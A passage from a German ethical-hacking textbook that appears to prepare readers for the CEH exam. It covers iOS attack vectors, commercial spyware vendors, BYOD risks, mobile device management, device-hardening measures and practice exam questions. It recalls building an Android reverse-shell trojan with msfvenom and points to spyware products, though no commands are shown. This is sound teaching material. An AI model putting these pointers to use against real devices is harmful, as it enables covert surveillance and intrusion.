Es ist zwar nicht so einfach, unter iOS Anwendungen außerhalb des App Stores zu installieren, aber es funktioniert unter Umständen dennoch. Hat das Gerät einen Jailbreak bekommen oder wurde über das Apple Developer Enterprise Program eine sogenannte Unternehmens-App installiert, ist es auch unter iOS möglich, eigene Anwendungen zu installieren. Details und Hilfe dazu finden Sie unter https://support.apple.com/de-de/HT204460.
Es gibt verschiedene Angriffsvektoren auf iOS. Eine interessante Schwachstelle wurde von Samuel Groß entdeckt. Er präsentierte auf dem 36. Chaos Communication Congress (36C3) einen Angriff, bei dem es möglich ist, mit einer Nachricht an die iOS-eigene Chat-App iMessage die Kontrolle über ein iPhone zu erlangen. Die Aufzeichnung der Präsentation können Sie unter https://media.ccc.de/v/36c3-10497-messenger_hacking_remotely_compromising_an_iphone_through_imessage ansehen. Die Schwachstelle wurde an Apple gemeldet und vor der Veröffentlichung behoben. Allerdings unterstreicht der Exploit wieder die Aussage, dass mit genügend Einsatz und Mitteln überall Schwachstellen zu finden sind. Gegen Organisationen mit entsprechender finanzieller Ausstattung, wie NSA & Co., ist daher kaum ein Kraut gewachsen.
Bereits in Kapitel 12 sind wir im Zusammenhang von Malware auch auf Spyware eingegangen. Dabei haben wir Ihnen gezeigt, welche Möglichkeiten ein Angreifer hat, wenn dieser einmal eine entsprechende Spyware auf einem Endgerät platziert hat. Die Folgen wiegen im Zusammenhang mit einem mobilen Endgerät meistens sogar noch schwerer. Wir haben die Möglichkeiten der Meterpreter-Shell bereits dargelegt – es ist erschreckend bzw. faszinierend (je nach Blickwinkel), was damit alles möglich ist.
Mit professioneller Mobile-Spyware werden alle Aktivitäten auf dem Telefon aufgezeichnet und protokolliert. Davon betroffen sind z.B. die Internetnutzung, Textnachrichten, Telefonanrufe, GPS-Koordinaten und Medieninhalte. Anschließend kann der Angreifer über eine Website der Software auf die protokollierten Informationen zugreifen oder sich diese bequem per E-Mail zusenden lassen. Für einen vollen Funktionsumfang muss das Gerät des Opfers gerootet sein bzw. ein Jailbreak durchgeführt werden.
Vorsicht: Spionage-Apps führen schnell zu einer Straftat!
Jede Installation einer Spionage-App, die ohne die Zustimmung der überwachten Person durchgeführt wird, ist nach dem Strafgesetzbuch eine Straftat. Handlungen wie das Abhören von Gesprächen, unerlaubtes Fotografieren und das Ausspähen von Daten sind verboten.
Anbieter wie mSpy (www.mspy.com.de) oder FlexiSpy (www.flexispy.com) bieten plattformunabhängig unter anderen diese Dienste an. Es existiert allerdings noch eine Vielzahl weiterer Überwachungstools. Geworben wird mit Begriffen wie »Kindersicherung«, da die Überwachung der eigenen Kinder im Rahmen der Aufsichtspflicht durch Recht und Gesetz abgedeckt ist.
Unter Bring Your Own Device (BYOD) versteht man die Möglichkeit, persönliche und private Endgeräte wie Laptops, Smartphones oder Tablets für den dienstlichen Zweck einzusetzen, um damit auf Unternehmensressourcen zuzugreifen. Gleiches gilt auch für das Umfeld von Bildungsinstituten, beispielsweise Universitäten. Entsprechende BYOD-Richtlinien legen fest, in welchem Umfang es den Mitarbeitern erlaubt ist, die Geräte zu nutzen, mit denen sie vertraut sind, um auf Unternehmensressourcen zuzugreifen.
In der heutigen Zeit müssen auch Unternehmen dafür Sorge tragen, dass sie für Arbeitnehmer interessant sind – nicht nur umgekehrt. Gerade in typischen »Büro-Berufen« erwarten vor allem die jungen Mitarbeiter oft mehr Freiheit in ihrer Arbeitsweise wie Homeoffice und flexible Arbeitszeiten. Dem kommt BYOD entgegen.
Die Einführung von BYOD kann und sollte sowohl für das Unternehmen als auch für den Mitarbeiter von Vorteil sein. Im Folgenden werden einige der Vorteile von BYOD aufgeführt:
Erhöhte Produktivität: Die Mitarbeiter können die Geräte einsetzen, mit denen sie bereits vertraut sind, was die Produktivität erhöht.
Mitarbeiterzufriedenheit: Durch BYOD können Mitarbeiter Komponenten ihrer Wahl nutzen und sind daher zufriedener. Darüber hinaus enthalten die Endgeräte sowohl die persönlichen Daten als auch Unternehmensdaten, somit wird die Verwendung mehrerer Geräte überflüssig. Nichts ist lästiger, als mit zwei Smartphones unterwegs zu sein.
Arbeitsflexibilität: Arbeiten, die normalerweise im Büro erledigt werden, können von überall ausgeführt werden, da die Mitarbeiter über das BYOD-Gerät Zugriff auf die Unternehmensdaten erhalten. Hinzu kommt die zeitliche Flexibilität, da der Mitarbeiter auch abends noch schnell eine E-Mail schreiben oder eine Dokumentation abschließen kann. In der Regel wird das traditionelle Client-Server-Modell durch eine mobile Cloud-Lösung ersetzt, wodurch sich die Flexibilität weiter erhöht.
Geringere Kosten: Ein Unternehmen, das BYOD einsetzt, muss für seine Mitarbeiter häufig keine teuren Endgeräte beschaffen, da die Mitarbeiter in der Regel selbst technisch auf dem neuesten Stand sind. Das spart dem Unternehmen bares Geld.
Der Zugriff der Mitarbeiter mit eigenen Mobilgeräten auf Unternehmensdaten und -ressourcen stellt für ein Unternehmen ein Sicherheitsrisiko dar. Im Folgenden werden einige Risiken aufgeführt, die mit der Einführung von BYOD zu beachten sind:
Vertrauliche Daten im öffentlichen Netzwerk: Können Mitarbeiter über ein öffentliches Netzwerk auf Unternehmensdaten zugreifen, bringt das ein Risiko mit sich, denn diese Verbindungen sind möglicherweise nicht sicher verschlüsselt. Der Austausch vertraulicher Daten über ein ungesichertes Netzwerk kann zu Datenlecks bzw. Kompromittierung der Daten führen.
Unsachgemäße Entsorgung: Ein Gerät, das unsachgemäß entsorgt wurde, kann eine Vielzahl von Informationen enthalten, z.B. Finanzinformationen, Kreditkartendaten, Kontaktnummern und Unternehmensdaten. Daher ist es wichtig, dass das Gerät keine Daten mehr enthält, bevor es entsorgt oder an andere weitergegeben wird.
Unterstützung vieler verschiedener Geräte: Die Unterstützung verschiedener Geräte erhöht sowohl den Administrationsaufwand als auch das Sicherheitsrisiko. Es ist eine Herausforderung für die IT-Abteilung, diverse Endgerätetypen zu verwalten und zu unterstützen. Verschiedene Geräte, auf denen jeweils unterschiedliche Betriebssysteme und Programme ausgeführt werden, haben ihre eigenen Sicherheitslücken. Daher kann es problematisch sein, eine Infrastruktur einzurichten und zu betreiben, die die Anforderungen verschiedener Geräte erfüllt.
Eingeschränkte Kontrolle: Endgeräte, die sich in Besitz und Verwaltung der Mitarbeiter befinden, können nur eingeschränkt hinsichtlich Sicherheitsupdates und Einstellungen kontrolliert werden.
Mischen von persönlichen und privaten Daten: Das Mischen von persönlichen und Unternehmensdaten führt zu weitreichenden Auswirkungen auf die Sicherheit und den Datenschutz.
Verlorene oder gestohlene Geräte: Aufgrund ihrer geringen Größe können mobile Geräte häufig verloren gehen oder werden gestohlen. Wenn ein Mitarbeiter sein Mobilgerät verliert, das sowohl für private als auch für dienstliche Zwecke verwendet wird, ist die Organisation möglicherweise einem Sicherheitsrisiko ausgesetzt.
Bei kaum einem anderen Thema prallen Sicherheitsinteressen und der Wunsch nach Usability so heftig aufeinander wie bei BYOD. Auf der einen Seite stehen insbesondere die Young Professionals, also gut ausgebildete Nachwuchskräfte, die als Digital Natives mit der heutigen Technologie aufgewachsen sind und deren Verwendung als selbstverständlich ansehen. Ihre Produktivität und Zufriedenheit kann mit BYOD gesteigert werden. Auf der anderen Seite stehen die Sicherheitsverantwortlichen des Unternehmens, die dafür Sorge tragen müssen, dass die Verwendung der eigenen Mobilgeräte der Mitarbeiter im Unternehmensumfeld keine neuen Sicherheitslöcher aufreißt. Dies ist eine große Herausforderung und in manchen Umgebungen nur mit Kompromissen lösbar. Daher lehnen viele Sicherheitsverantwortliche nach wie vor BYOD ab.
Hat sich ein Unternehmen oder eine Organisation dazu entschlossen, BYOD einzuführen, so sollte der Sicherheitsaspekt von Anfang an eine Hauptrolle spielen. Das Mobile Device Management (MDM, siehe nächster Abschnitt) ist eine entscheidende Komponente in der BYOD-Sicherheit, daher gehen wir gesondert darauf ein. Im Folgenden finden Sie zunächst allgemeine Sicherheitsrichtlinien, die ein Administrator einhalten sollte, um das Netzwerk und die Daten des Unternehmens zu schützen:
Sichern der Rechenzentren mit mehrschichtigen Schutzsystemen
Klare Regelung, welche Anwendungen zugelassen sind und welche gesperrt werden
Keine Geräte mit Jailbreak und Root-Zugriff zulassen
Sitzungsauthentifizierung und Timeout auf Access Gateways einrichten
Passwortrichtlinien umsetzen, dabei komplexe Passwörter mit Änderungsintervall fordern
Geräte müssen registriert und authentifiziert sein, bevor der Zugriff auf das Unternehmensnetzwerk zugelassen wird.
Methoden zur Multi-Faktor-Authentifizierung sollten umgesetzt werden, um die Sicherheit beim Remote-Zugriff auf Unternehmensinformationen zu verbessern.
Die Unternehmensdaten von den persönlichen Daten des Mitarbeiters trennen. Auf diese Weise kann ein Unternehmen bestimmte Sicherheitsmaßnahmen anwenden, wie z.B. erweiterte Verschlüsselung zum Schutz der Unternehmensdaten.
Wenn ein Mitarbeiter das Unternehmen verlässt, muss eine vollständige oder eine selektive Löschung bestimmter Apps und unternehmensrelevanter Daten veranlasst werden.
Starke Algorithmen für die Verschlüsselung und die Übertragung der Daten implementieren
Bei Verlust oder Diebstahl des Endgeräts muss die Möglichkeit bestehen, dieses remote zurückzusetzen, um unbefugten Zugriff auf vertrauliche Daten des Unternehmens zu verhindern.
Es muss sichergestellt sein, dass die Geräte regelmäßig mit dem neuesten Betriebssystem und der neuesten Software aktualisiert werden, um Sicherheitslücken zu vermeiden.
Keinen Offline-Zugriff auf vertrauliche Informationen der Organisation anbieten
Das Herunterladen von Dateien aus nicht vertrauenswürdigen Quellen muss deaktiviert sein.
Sicherheitsbewusstsein bei den Anwendern für das Surfen auf Websites und beim Öffnen von Links oder E-Mail-Anhängen schaffen
Die Mitarbeiter müssen der BYOD-Richtlinie zustimmen und sie unterzeichnen, bevor sie auf das Informationssystem des Unternehmens zugreifen können.
Der Bundesverband Informationswirtschaft, Telekommunikation und neue Medien e.V. (Bitkom) hat unter www.bitkom.org/Bitkom/Publikationen/BYOD-Bring-Your-Own-Device.html einen Leitfaden zum Download veröffentlicht. Er bietet einen fundierten Einstieg in das Thema BYOD und betrachtet auch rechtliche Aspekte.
Durch die Zunahme diverser Endgerätearten wie Smartphones, Laptops, Tablets usw. wird es für Unternehmen schwerer, Richtlinien zu erstellen, um diese Geräte sicher zu verwalten. Dies gilt bereits für unternehmenseigene mobile Geräte und wird durch BYOD noch verstärkt. Das Mobile Device Management (MDM) gewinnt dadurch zunehmend an Bedeutung. Im Deutschen spricht man bei MDM auch von Mobilgeräteverwaltung. Darunter versteht man die zentralisierte Verwaltung von Mobilgeräten mithilfe von Software und Hardware. Dabei werden die Endgeräte, deren Betriebssysteme und installierte Anwendungen inventarisiert und deren Verwendung in entsprechenden Richtlinien geregelt. Diese werden dann umgesetzt, kontrolliert und gesteuert.
Die technische Umsetzung erfolgt in der Regel durch ein Client-Server-Modell, wobei der Server entsprechende Verwaltungsbefehle an die Client-Komponente auf den Endgeräten sendet. Diese werden dann auf dem mobilen Gerät umgesetzt. Meistens bieten MDM-Anbieter sowohl die Client- als auch Server-Komponente, es ist allerdings teilweise auch möglich, die Komponenten von unterschiedlichen Herstellern einzusetzen.
Eine MDM-Plattform kann mobile Geräte automatisch erkennen, sobald diese erreichbar sind. Je nach Konfiguration werden dann entsprechende Verwaltungsbefehle an das Endgerät gesendet. Dazu gehören diverse Steuerungsmöglichkeiten, wie Abbildung 29.18 veranschaulicht.
Abb. 29.18: Funktionen eines Mobile Device Managements
MDM-Lösungen bietet beispielsweise Citrix mit dem Citrix Endpoint Management (ehemals XenMobile). Auch Workspace ONE von VMware kann für diese Zwecke eingesetzt werden:
Citrix Endpoint Management (www.citrix.com/de-de/products/citrix-endpoint-management)
VMware Workspace ONE (www.vmware.com/products/workspace-one)
Die erwähnten Lösungen dienen als Beispiele zur Einarbeitung in die Thematik, stellen aber keine ausdrückliche Empfehlung dar. Es existieren noch diverse weitere Anbieter mit vergleichbaren Lösungen. Das Mobile Device Management wurde zwischenzeitlich weiterentwickelt und wird nun teilweise als Enterprise Mobility Management bezeichnet. Dieses umfasst u.a. Komponenten wie:
Identity and Access Management (IAM)
Mobile Application Management (MAM)
Mobile Content Management (MCM)
Die Herausforderung besteht in der Regel darin, das Mobile Management mit den vorhandenen Sicherheitskomponenten zu verknüpfen, um keine Insellösungen zu erschaffen.
Sie haben in diesem Kapitel die vielfältigen Angriffsmöglichkeiten auf mobile Geräte und auch die Gefahren, die sich davon ableiten lassen, kennengelernt. Wie Sie sich schützen können, haben wir an entsprechenden Stellen bereits erwähnt. Im folgenden Abschnitt werden wir die wichtigsten Schutzmaßnahmen noch einmal zusammenfassen.
Aktualisieren Sie stets Betriebssystem und Apps des mobilen Geräts, um ggf. Sicherheitslücken mit entsprechenden Patches zu beheben.
In Unternehmensumgebungen sollten Sie entsprechende Richtlinien für BYOD und Cloud entwerfen und implementieren.
Aktivieren Sie die Remote-Verwaltung durch MDM-Software zum Sichern, Überwachen und Verwalten von Unternehmensressourcen.
Eine regelmäßige Überwachung der BYOD-Teilnehmer hinsichtlich der Einhaltung der Richtlinien ist sehr wichtig.
Testen Sie MDM-Lösungen, bevor Sie diese in Betrieb nehmen. Auch nach der Implementierung sollten entsprechende Penetrationstests innerhalb der MDM-Infrastruktur erfolgen.
Halten Sie vertrauliche Daten fern von freigegebenen Mobilgeräten. Unternehmensinformationen sollten nach Möglichkeit nicht lokal auf einem Gerät gespeichert werden. Sorgen Sie dafür, dass nur online Zugriff auf diese Daten besteht.
Auf keinen Fall darf ein Rooting oder Jailbreaking am Endgerät durchgeführt werden.
Installieren Sie nur Anwendungen aus vertrauenswürdigen Quellen und keine Apps von Drittanbietern.
Installieren Sie nur notwendige Anwendungen, um die Übersicht und Verwaltung zu vereinfachen.
Kontrollieren Sie die Rechte der Anwendungen und wägen Sie ggf. ab, ob eine Anwendung mit üppig ausgestatteten Rechten akzeptabel ist oder der Nutzen evtl. das Risiko nicht aufwiegt.
Ganz allgemein: Keep it simple! Behalten Sie die Kontrolle über Ihre Konfiguration.
Konfigurieren Sie die Push-Benachrichtigungen so, dass keine Inhalte bei gesperrtem Gerät angezeigt werden.
Deaktivieren Sie die automatische Eingabe (Autofill-Funktion) von Daten für Browser und andere Anwendungen. Sie erhöhen zwar die Usability, andererseits werden dadurch aber auch vertrauliche Daten auf dem Gerät gespeichert.
Deaktivieren Sie die Erfassung von Diagnose- und Nutzungsdaten.
Beschränken Sie die auf dem Gerät gespeicherten Protokolldaten.
Richten Sie eine starke Authentifizierungsmethode mit entsprechender Komplexität für den Zugriff auf das Mobilgerät ein. Nutzen Sie nach Möglichkeit Zwei-Faktor-Authentifizierung.
Legen Sie einen kurzen Zeitraum fest, um das Telefon automatisch zu sperren, wenn es nicht verwendet wird.
Aktivieren Sie die Sperr-/Löschfunktion nach einer bestimmten Anzahl von fehlgeschlagenen Anmeldeversuchen.
Wenn dies unterstützt wird, konfigurieren Sie Ihr Mobilgerät für die Verschlüsselung des Speichers mit Hardware-Verschlüsselung.
Führen Sie regelmäßige Sicherungen und Synchronisierungen durch.
Verschlüsseln Sie auch Ihre Backups und Sicherungen entsprechend.
Deaktivieren Sie WLAN, NFC und Bluetooth, falls nicht verwendet.
Aktivieren Sie die GPS-Ortung, damit das Endgerät bei Verlust oder Diebstahl geortet werden kann.
Erlauben Sie den Standort-Zugriff für Anwendungen nur dann, wenn dies unbedingt erforderlich ist.
Passen Sie die WLAN-Konfiguration an, sodass kein automatischer Verbindungsaufbau zugelassen wird, erst nach entsprechender Bestätigung.
Deaktivieren Sie das Teilen/Tethering von Internetverbindungen über WLAN und Bluetooth, wenn Sie es nicht verwenden.
Stellen Sie sicher, dass die Daten auf dem Gerät sicher und gründlich gelöscht sind, bevor das Gerät entsorgt oder weitergegeben wird.
Sensibilisieren Sie die Anwender, keine unaufgefordert übermittelten Links anzuklicken – weder in SMS noch in E-Mails oder Messenger wie WhatsApp und so weiter.
Anwender dürfen niemals auf verdächtige SMS oder Kurznachrichten antworten, ohne die Quelle zu überprüfen. Rufen Sie keine verdächtig aussehenden Nummern zurück, sonst können hohe Kosten entstehen.
Löschen Sie den Tastatur-Cache, um aufgezeichnete Tastenanschläge zu entfernen.
Deaktivieren Sie das Geotagging (Speichern von ortsbezogenen Daten in Bildern).
Vermeiden Sie das automatische Hochladen von Fotos und anderen Inhalten in soziale Netzwerke.
Aktivieren Sie die Datenschutz- und Sicherheitseinstellungen des Browsers, um beispielsweise
Popups zu blockieren
automatisches Ausfüllen von Kennwörtern zu deaktivieren (s.o.)
bei indexierten, betrügerischen Websites zu warnen
Cookies zu blockieren
Verlauf und Website-Daten zu löschen
Verwenden Sie Dienste zur Lokalisierung des Geräts und zum Löschen der Daten für den Fall, dass es verloren geht oder gestohlen wird.
Für Android: www.google.com/android/find
Für iOS: www.icloud.com/find
Verlorene oder gestohlene Geräte im Unternehmensumfeld bzw. BYOD müssen umgehend der IT-Abteilung gemeldet werden, damit diese Zertifikate und andere mit dem Gerät verbundene Zugriffsmethoden deaktivieren kann.
Installieren und aktivieren Sie Sicherheitsmaßnahmen wie Anti-Virus oder Anti-Spy. Dies gilt insbesondere auf offenen Android-Geräten.
Diese Liste mit Maßnahmen zur Absicherung von mobilen Geräten ist trotz ihrer Länge nicht vollständig und muss in der Praxis je nach Umgebung und Szenario um passende Maßnahmen ergänzt werden. Das Betreiben mobiler Geräte in Unternehmensinfrastrukturen ist eine große Herausforderung, bei der die Sicherheit zu den wichtigsten Aspekten gehört.
Werfen wir wieder einen Blick zurück: Was haben Sie gelernt, wo stehen Sie und wie geht es weiter?
Wir haben Ihnen in diesem Kapitel einen Einblick in Mobile Hacking gegeben und Ihnen gezeigt, dass Angreifer nicht nur keinen Halt vor mobilen Endgeräten machen, sondern diese sogar bevorzugt angreifen. Mit den beschriebenen Inhalten sollten wir Sie entsprechend sensibilisiert haben und hoffen, dass Sie Ihren mobilen Begleiter nun zumindest mit mehr Sicherheitsbewusstsein nutzen.
Sie haben gesehen, dass diverse mobile Betriebssysteme entwickelt wurden, wobei sich Android und iOS durchgesetzt haben. Sie haben gelernt, dass man von einer »App« spricht, wenn man eine mobile Applikation meint – auch wenn dieser Begriff mittlerweile auch auf Anwendungen auf Desktop-Systemen bezogen wird. Beziehen kann man die Apps über offizielle Anwendungsverteilungsplattformen (App-Stores) des jeweiligen Betriebssystems oder von Drittanbietern. Anwendungen von Drittanbietern beinhalten immer ein gewisses Risiko, da sie evtl. nicht gleichermaßen gründlich geprüft sind, wie dies der Fall bei den offiziellen Stores ist. Eine Besonderheit von Apps ist die Ausführung in Sandboxes, wobei Zugriffe auf andere Funktionen zunächst über die Berechtigungen bestätigt werden müssen. Das bietet eine gewisse Transparenz und Sicherheit.
Wir haben Ihnen gezeigt, dass durch die vielen Möglichkeiten, mit denen ein mobiles Endgerät ausgestattet ist, ein erfolgreicher Angriff sehr gefährlich sein kann. Dazu kommt, dass mobile Endgeräte in der Regel nicht durch eine erweiterte Sicherheitsinfrastruktur wie z.B. DMZ, Netzwerkfirewalls oder IDS/IPS gesichert sind. Zudem werden mobile Geräte wie Smartphones oft mit weniger Sicherheitsbewusstsein verwendet als Arbeitsplatz-Computer bzw. Laptops.
Angriffe können auf das Gerät selbst, über die Netzwerkschnittstellen oder zentral auf die Anwendungsserver erfolgen. Dabei kommen bereits bekannte Methoden wie Phishing, MITM, XSS oder SQL-Injection zum Einsatz. Zu Sicherheitslücken in Anwendungen, Betriebssystemen oder der zentralen Infrastruktur existieren genauso Exploits wie für herkömmliche Computer.
Um ein Android-System komfortabel über den PC zu steuern, gibt es verschiedene Möglichkeiten. Sie können Tools wie AirDroid, Vysor, AnyDesk oder TeamViewer nutzen, um eine Fernsteuerung auf Ihr mobiles Endgerät einzurichten. Haben Sie kein Mobilgerät mit Android zur Verfügung, können Sie mit BlueStacks eine emulierte Version von Android nutzen. Eine andere Variante ist, eine virtuelle Maschine mit Android-x86 in VirtualBox bereitzustellen. Die Letztgenannten sind eher für Labor- und Testzwecke geeignet.
Um Vollzugriff auf ein Android-Gerät zu bekommen, ist die Durchführung des Rooting-Prozesses notwendig, bei iOS nennt man diesen Vorgang Jailbreaking. Dieser Prozess variiert je nach Endgerät und Software-Stand und bringt diverse Risiken mit sich.
Auch für mobile Plattformen existiert eine Vielzahl an Hacking-Tools, um Angriffe vom Smartphone oder Tablet aus einzuleiten. Sogar bekannte Tools wie der Tor-Browser, Nmap oder Metasploit können auf einem Android-Gerät eingerichtet werden. Dazu ist allerdings ein Terminal-Emulator wie Termux notwendig. Auf iOS ist die Auswahl für derartige Tools beschränkt, sodass Angreifer, die ein Smartphone oder Tablet nutzen möchten, eher auf Android-basierte Geräte zurückgreifen werden.
Wir haben Ihnen gezeigt, wie Sie mit msfvenom
aus dem Metasploit-Framework einen ausführbaren Trojaner für Android erstellen können. Dieser stellt über das Mobilfunknetz via IP-Kommunikation eine Reverse-Shell zum Opfer her. Die Möglichkeiten, die eine etablierte Android-Meterpreter-Shell bereitstellt, sind umfangreich. Wir haben Ihnen zudem gezeigt, dass es auch für iOS entsprechende Schwachstellen und Exploits gibt.
Spyware Anbieter wie mSpy oder FlexiSpy bieten eine plattformunabhängige Fernüberwachung von Smartphones an. Damit kann nahezu jede Aktivität ausspioniert werden.
Unter Bring Your Own Device (BYOD) versteht man die Möglichkeit, private mobile Endgeräte für den dienstlichen Zweck einzusetzen. Hier haben wir Ihnen Vorteile, Nachteile und empfohlene Sicherheitsvorkehrungen beschrieben. BYOD-Richtlinien legen fest, in welchem Umfang es den Mitarbeitern erlaubt ist, die eigenen Geräte zu nutzen. Um diese Richtlinien umsetzen zu können, werden Mobile-Device-Management-Systeme eingesetzt. Darunter versteht man die zentralisierte Verwaltung von Mobilgeräten mithilfe von Software und Hardware. Ein Server sendet hier entsprechende Verwaltungsbefehle an die Client-Komponente auf den Endgeräten. Damit können Endgeräte kontrolliert und gesteuert werden. Es existieren diverse MDM-Lösungen von verschiedenen Herstellern. Eine Weiterentwicklung von MDM ist das Enterprise Mobility Management.
Last, but not least haben Sie zahlreiche Schutzmaßnahmen kennengelernt, die getroffen werden können, um mobile Endgeräte sicherer zu machen. Denken Sie jedoch immer daran, dass die Kette immer nur so stark ist wie ihr schwächstes Glied! Raten Sie mal, wer das in der Regel ist. Richtig: der Anwender.
In der CEH-Prüfung sind Fragen zum Mobile Hacking noch eher selten, aber der Fragenpool wird zukünftig sicher aufgestockt und um derartige Fragen ergänzt.
Sie sollten sich in diesem Zusammenhang mit den Angriffsvektoren vertraut machen. Begriffe, die im Rahmen von Mobile Hacking verwendet werden, sollten Sie kennen und zuordnen können. Das Konzept der Sandboxes und Berechtigungen von Anwendungen sollten Sie kennen und wissen, was ein Jailbreak bzw. Rooting ist.
Einen zunehmend größeren Stellenwert nehmen Fragen zu BYOD und Mobile Device Management ein. Die Vor- und Nachteile dieser Konzepte sollten Sie verinnerlicht haben und die Begriffe zuordnen können.
Der für die Prüfung wohl wichtigste Abschnitt sind die Schutzmaßnahmen. Sie sollten sämtliche Vorkehrungen kennen, die zu treffen sind, um Ihr mobiles Endgerät entsprechend abzusichern.
Nachfolgend ein paar exemplarische Prüfungsfragen, die Sie nach aufmerksamer Durcharbeit dieses Kapitels sicher mit Leichtigkeit beantworten können. Die Lösungen zu den Fragen finden Sie in Anhang A.
Was können Sie gegen Brute-Force-Angriffe auf die Bildschirmsperre eines Smartphones tun?
Eine PIN anstelle eines Musters verwenden
Sperr-/Löschfunktion bei Falscheingabe einrichten
Aktuelles Firmware-Update einspielen
AV-Software installieren
Welcher der nachfolgenden Begriffe stellt keinen Angriff via Bluetooth dar?
Bluesnarfing
Bluebugging
Bluejacking
Bluecatching
Wie kann eine sichere Verwaltung der mobilen Endgeräte in einem BYOD-Umfeld technisch umgesetzt werden?
Durch BYOD-Richtlinien
Mithilfe eines Mobile-Device-Management-Systems
Durch Implementieren des Developer Enterprise Program
Die Dienste zur Lokalisierung des Geräts aktivieren
Welcher der folgenden Punkte stellt eher kein Risiko beim Rooten eines Android-Systems dar?
Funktionsverlust
Datenverlust
Leistungsverlust
Garantieverlust
Welche der nachfolgend genannten Sicherheitsrichtlinien sollte im Hinblick auf BYOD nicht festgelegt werden?
Kein Jailbreak und Root-Zugriff zulassen
Geräte nur innerhalb des Unternehmens nutzen
Passwortrichtlinien festlegen
Software-Stände überwachen
Welche Dateiendung haben Anwendungen, die unter Android installiert werden können?
.app
.apk
.android
.ipa
Welcher der folgenden Punkte stellt keinen Vorteil von BYOD dar?
Erhöhte Produktivität
Geringere Kosten
Mischen von persönlichen und privaten Daten
Arbeitsflexibilität